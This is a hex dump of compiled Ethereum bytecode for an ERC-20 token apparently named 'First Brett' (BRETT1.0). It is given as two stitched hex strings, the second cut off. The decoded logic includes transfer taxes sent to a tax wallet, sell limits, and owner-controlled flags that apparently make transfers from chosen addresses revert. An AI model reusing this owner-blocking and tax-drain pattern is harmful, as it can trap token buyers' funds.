ff160361168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490613176565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290613204565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d5919061289e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184790613292565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b590613320565b60405180910390fd5b5f8111611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f7906133ae565b60405180910390fd5b5f611909610e3e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119775750611947610e3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119d0575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f125760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a73575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611a7b575f80fd5b5f600e5403611ac357611ac06064611ab2600a54600e5411611a9f57600654611aa3565b6008545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b5f600e541115611af857611af56064611ae7600d54856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ba1575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611cec57600f54821115611c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3590613416565b60405180910390fd5b60105482611c4b8561099c565b611c559190613434565b1115611c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8d906134b1565b60405180910390fd5b611cd26064611cc4600a54600e5411611cb157600654611cb5565b6008545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b9050600e5f815480929190611ce6906134cf565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611d7457503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611db857611db56064611da7600b54600e5411611d9457600754611d98565b6009545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b5f611dc23061099c565b9050601460159054906101000a900460ff16158015611e2d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611e455750601460169054906101000a900460ff165b8015611e52575060115481115b8015611e615750600c54600e54115b15611f1057601654431115611e78575f6015819055505b600360155410611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb490613560565b60405180910390fd5b611eda611ed584611ed0846012546125b7565b6125b7565b612224565b5f4790505f811115611ef057611eef4761248f565b5b60155f815480929190611f02906134cf565b919050555043601681905550505b505b5f81111561201157611f6a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125cf90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612008919061289e565b60405180910390a35b6120618260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461262c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121046120b8828461262c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125cf90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6121a7848661262c90919063ffffffff16565b6040516121b4919061289e565b60405180910390a350505050565b5f838311158290612209576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122009190612760565b60405180910390fd5b505f8385612217919061357e565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff81111561225b5761225a61293f565b5b6040519080825280602002602001820160405280156122895781602001602082028036833780820191505090505b50905030815f815181106122a05761229f612e28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612344573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906123689190612fde565b8160018151811061237c5761237b612e28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123e23060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461161f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612444959493929190613668565b5f604051808303815f87803b15801561245b575f80fd5b505af115801561246d573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156124f3573d5f803e3d5ffd5b5050565b5f808303612507575f9050612568565b5f82846125149190612de7565b905082848261252391906136ed565b14612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a9061378d565b60405180910390fd5b809150505b92915050565b5f6125af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612675565b905092915050565b5f8183116125c557826125c7565b815b905092915050565b5f8082846125dd9190613434565b905083811015612622576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612619906137f5565b60405180910390fd5b8091505092915050565b5f61266d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121c2565b905092915050565b5f80831182906126bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b29190612760565b60405180910390fd5b505f83856126c991906136ed565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561270d5780820151818401526020810190506126f2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612732826126d6565b61273c81856126e0565b935061274c8185602086016126f0565b61275581612718565b840191505092915050565b5f6020820190508181035f8301526127788184612728565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6127ba82612791565b9050919050565b6127ca816127b0565b81146127d4575f80fd5b50565b5f813590506127e5816127c1565b92915050565b5f819050919050565b6127fd816127eb565b8114612807575f80fd5b50565b5f81359050612818816127f4565b92915050565b5f806040838503121561283457612833612789565b5b5f612841858286016127d7565b92505060206128528582860161280a565b9150509250929050565b5f8115159050919050565b6128708161285c565b82525050565b5f6020820190506128895f830184612867565b92915050565b612898816127eb565b82525050565b5f6020820190506128b15f83018461288f565b92915050565b5f805f606084860312156128ce576128cd612789565b5b5f6128db868287016127d7565b93505060206128ec868287016127d7565b92505060406128fd8682870161280a565b9150509250925092565b5f60ff82169050919050565b61291c81612907565b82525050565b5f6020820190506129355f830184612913565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61297582612718565b810181811067ffffffffffffffff821117156129945761299361293f565b5b80604052505050565b5f6129a6612780565b90506129b2828261296c565b919050565b5f67ffffffffffffffff8211156129d1576129d061293f565b5b602082029050602081019050919050565b5f80fd5b5f6129f86129f3846129b7565b61299d565b90508083825260208201905060208402830185811115612a1b57612a1a6129e2565b5b835b81811015612a445780612a3088826127d7565b845260208401935050602081019050612a1d565b5050509392505050565b5f82601f830112612a6257612a6161293b565b5b8135612a728482602086016129e6565b91505092915050565b5f60208284031215612a9057612a8f612789565b5b5f82013567ffffffffffffffff811115612aad57612aac61278d565b5b612ab984828501612a4e565b91505092915050565b5f60208284031215612ad757612ad6612789565b5b5f612ae4848285016127d7565b91505092915050565b612af6816127b0565b82525050565b5f602082019050612b0f5f830184612aed565b92915050565b5f8060408385031215612b2b57612b2a612789565b5b5f612b38858286016127d7565b9250506020612b49858286016127d7565b9150509250929050565b5f60208284031215612b6857612b67612789565b5b5f612b758482850161280a565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612bb26020836126e0565b9150612bbd82612b7e565b602082019050919050565b5f6020820190508181035f830152612bdf81612ba6565b9050919050565b5f819050919050565b5f819050919050565b5f612c12612c0d612c0884612be6565b612bef565b6127eb565b9050919050565b612c2281612bf8565b82525050565b5f602082019050612c3b5f830184612c19565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612cc357808604811115612c9f57612c9e612c41565b5b6001851615612cae5780820291505b8081029050612cbc85612c6e565b9450612c83565b94509492505050565b5f82612cdb5760019050612d96565b81612ce8575f9050612d96565b8160018114612cfe5760028114612d0857612d37565b6001915050612d96565b60ff841115612d1a57612d19612c41565b5b8360020a915084821115612d3157612d30612c41565b5b50612d96565b5060208310610133831016604e8410600b8410161715612d6c5782820a905083811115612d6757612d66612c41565b5b612d96565b612d798484846001612c7a565b92509050818404811115612d9057612d8f612c41565b5b81810290505b9392505050565b5f612da7826127eb565b9150612db283612907565b9250612ddf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ccc565b905092915050565b5f612df1826127eb565b9150612dfc836127eb565b9250828202612e0a816127eb565b91508282048414831517612e2157612e20612c41565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612e63816127f4565b92915050565b5f60208284031215612e7e57612e7d612789565b5b5f612e8b84828501612e55565b91505092915050565b5f612eae612ea9612ea484612791565b612bef565b612791565b9050919050565b5f612ebf82612e94565b9050919050565b5f612ed082612eb5565b9050919050565b612ee081612ec6565b82525050565b5f604082019050612ef95f830185612ed7565b612f06602083018461288f565b9392505050565b612f168161285c565b8114612f20575f80fd5b50565b5f81519050612f3181612f0d565b92915050565b5f60208284031215612f4c57612f4b612789565b5b5f612f5984828501612f23565b91505092915050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612f966017836126e0565b9150612fa182612f62565b602082019050919050565b5f6020820190508181035f830152612fc381612f8a565b9050919050565b5f81519050612fd8816127c1565b92915050565b5f60208284031215612ff357612ff2612789565b5b5f61300084828501612fca565b91505092915050565b5f60408201905061301c5f830185612aed565b6130296020830184612aed565b9392505050565b5f60c0820190506130435f830189612aed565b613050602083018861288f565b61305d6040830187612c19565b61306a6060830186612c19565b6130776080830185612aed565b61308460a083018461288f565b979650505050505050565b5f805f606084860312156130a6576130a5612789565b5b5f6130b386828701612e55565b93505060206130c486828701612e55565b92505060406130d586828701612e55565b9150509250925092565b5f6040820190506130f25f830185612aed565b6130ff602083018461288f565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6131606024836126e0565b915061316b82613106565b604082019050919050565b5f6020820190508181035f83015261318d81613154565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6131ee6022836126e0565b91506131f982613194565b604082019050919050565b5f6020820190508181035f83015261321b816131e2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61327c6025836126e0565b915061328782613222565b604082019050919050565b5f6020820190508181035f8301526132a981613270565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61330a6023836126e0565b9150613315826132b0565b604082019050919050565b5f6020820190508181035f830152613337816132fe565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6133986029836126e0565b91506133a38261333e565b604082019050919050565b5f6020820190508181035f8301526133c58161338c565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6134006019836126e0565b915061340b826133cc565b602082019050919050565b5f6020820190508181035f83015261342d816133f4565b9050919050565b5f61343e826127eb565b9150613449836127eb565b925082820190508082111561346157613460612c41565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61349b601a836126e0565b91506134a682613467565b602082019050919050565b5f6020820190508181035f8301526134c88161348f565b9050919050565b5f6134d9826127eb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361350b5761350a612c41565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61354a6017836126e0565b915061355582613516565b602082019050919050565b5f6020820190508181035f8301526135778161353e565b9050919050565b5f613588826127eb565b9150613593836127eb565b92508282039050818111156135ab576135aa612c41565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e3816127b0565b82525050565b5f6135f483836135da565b60208301905092915050565b5f602082019050919050565b5f613616826135b1565b61362081856135bb565b935061362b836135cb565b805f5b8381101561365b57815161364288826135e9565b975061364d83613600565b92505060018101905061362e565b5085935050505092915050565b5f60a08201905061367b5f83018861288f565b6136886020830187612c19565b818103604083015261369a818661360c565b90506136a96060830185612aed565b6136b6608083018461288f565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6136f7826127eb565b9150613702836127eb565b925082613712576137116136c0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6137776021836126e0565b91506137828261371d565b604082019050919050565b5f6020820190508181035f8301526137a48161376b565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6137df601b836126e0565b91506137ea826137ab565b602082019050919050565b5f6020820190508181035f83015261380c816137d3565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206e04a73fb615a29ea37f864e095fee046b42eef22e8c0181476d03461e1536a064736f6c63430008170033 | 60806040526004361061014e575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb14610441578063bf474bed1461047d578063c9567bf9146104a7578063d34628cc146104bd578063dd62ed3e146104e5578063ec1f3f631461052157610155565b8063751039fc1461035b5780637d1db4a5146103715780638cd4426d1461039b5780638da5cb5b146103c35780638f9a55c0146103ed57806395d89b411461041757610155565b8063313ce56711610107578063313ce5671461026557806331c2d8471461028f5780633bbac579146102b757806351bc3c85146102f357806370a0823114610309578063715018a61461034557610155565b806306fdde0314610159578063095ea7b3146101835780630faee56f146101bf578063109daa99146101e957806318160ddd146101ff57806323b872dd1461022957610155565b3661015557005b5f80fd5b348015610164575f80fd5b5061016d610549565b60405161017a9190612760565b60405180910390f35b34801561018e575f80fd5b506101a960048036038101906101a4919061281e565b610586565b6040516101b69190612876565b60405180910390f35b3480156101ca575f80fd5b506101d36105a3565b6040516101e0919061289e565b60405180910390f35b3480156101f4575f80fd5b506101fd6105a9565b005b34801561020a575f80fd5b5061021361067d565b604051610220919061289e565b60405180910390f35b348015610234575f80fd5b5061024f600480360381019061024a91906128b7565b6106a1565b60405161025c9190612876565b60405180910390f35b348015610270575f80fd5b50610279610775565b6040516102869190612922565b60405180910390f35b34801561029a575f80fd5b506102b560048036038101906102b09190612a7b565b61077d565b005b3480156102c2575f80fd5b506102dd60048036038101906102d89190612ac2565b61089b565b6040516102ea9190612876565b60405180910390f35b3480156102fe575f80fd5b506103076108ed565b005b348015610314575f80fd5b5061032f600480360381019061032a9190612ac2565b61099c565b60405161033c919061289e565b60405180910390f35b348015610350575f80fd5b506103596109e2565b005b348015610366575f80fd5b5061036f610b30565b005b34801561037c575f80fd5b50610385610c62565b604051610392919061289e565b60405180910390f35b3480156103a6575f80fd5b506103c160048036038101906103bc919061281e565b610c68565b005b3480156103ce575f80fd5b506103d7610e3e565b6040516103e49190612afc565b60405180910390f35b3480156103f8575f80fd5b50610401610e65565b60405161040e919061289e565b60405180910390f35b348015610422575f80fd5b5061042b610e6b565b6040516104389190612760565b60405180910390f35b34801561044c575f80fd5b506104676004803603810190610462919061281e565b610ea8565b6040516104749190612876565b60405180910390f35b348015610488575f80fd5b50610491610ec5565b60405161049e919061289e565b60405180910390f35b3480156104b2575f80fd5b506104bb610ecb565b005b3480156104c8575f80fd5b506104e360048036038101906104de9190612a7b565b6113eb565b005b3480156104f0575f80fd5b5061050b60048036038101906105069190612b15565b61150a565b604051610518919061289e565b60405180910390f35b34801561052c575f80fd5b5061054760048036038101906105429190612b53565b61158c565b005b60606040518060400160405280600b81526020017f4669727374204272657474000000000000000000000000000000000000000000815250905090565b5f610599610592611618565b848461161f565b6001905092915050565b60125481565b6105b1611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490612bc8565b60405180910390fd5b5f600d819055507fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de35f6040516106739190612c28565b60405180910390a1565b5f6009600a61068c9190612d9d565b64174876e80061069c9190612de7565b905090565b5f6106ad8484846117e2565b61076a846106b9611618565b610765856040518060600160405280602881526020016138146028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61071c611618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121c29092919063ffffffff16565b61161f565b600190509392505050565b5f6009905090565b610785611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890612bc8565b60405180910390fd5b5f5b8151811015610897575f60045f84848151811061083357610832612e28565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610813565b5050565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661092d611618565b73ffffffffffffffffffffffffffffffffffffffff161461094c575f80fd5b5f6109563061099c565b90505f811180156109735750601460169054906101000a900460ff165b156109825761098181612224565b5b5f4790505f811115610998576109978161248f565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109ea611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d90612bc8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b38611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612bc8565b60405180910390fd5b6009600a610bd29190612d9d565b64174876e800610be29190612de7565b600f819055506009600a610bf69190612d9d565b64174876e800610c069190612de7565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c3b9190612d9d565b64174876e800610c4b9190612de7565b604051610c58919061289e565b60405180910390a1565b600f5481565b610c70611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390612bc8565b60405180910390fd5b5f610d9a6064610d8c848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610d3f9190612afc565b602060405180830381865afa158015610d5a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7e9190612e69565b6124f790919063ffffffff16565b61256e90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610df8929190612ee6565b6020604051808303815f875af1158015610e14573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e389190612f37565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600881526020017f4252455454312e30000000000000000000000000000000000000000000000000815250905090565b5f610ebb610eb4611618565b84846117e2565b6001905092915050565b60115481565b610ed3611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690612bc8565b60405180910390fd5b60148054906101000a900460ff1615610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612fac565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061104a3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6110359190612d9d565b64174876e8006110459190612de7565b61161f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110d89190612fde565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561115e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111829190612fde565b6040518363ffffffff1660e01b815260040161119f929190613009565b6020604051808303815f875af11580156111bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111df9190612fde565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306112663061099c565b5f80611270610e3e565b426040518863ffffffff1660e01b815260040161129296959493929190613030565b60606040518083038185885af11580156112ae573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906112d3919061308f565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113739291906130df565b6020604051808303815f875af115801561138f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b39190612f37565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b6113f3611618565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147690612bc8565b60405180910390fd5b5f5b815181101561150657600160045f8484815181106114a2576114a1612e28565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050611481565b5050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115cc611618565b73ffffffffffffffffffffffffffffffffffffffff16146115eb575f80fd5b60085481111580156115ff57506009548111155b611607575f80fd5b806008819055508060098190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361168d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168490613176565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f290613204565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117d5919061289e565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184790613292565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b590613320565b60405180910390fd5b5f8111611900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f7906133ae565b60405180910390fd5b5f611909610e3e565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156119775750611947610e3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119d0575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611f125760045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a73575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611a7b575f80fd5b5f600e5403611ac357611ac06064611ab2600a54600e5411611a9f57600654611aa3565b6008545b856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b5f600e541115611af857611af56064611ae7600d54856124f790919063ffffffff16565b61256e90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ba1575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf4575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611cec57600f54821115611c3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3590613416565b60405180910390fd5b60105482611c4b8561099c565b611c559190613434565b1115611c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8d90613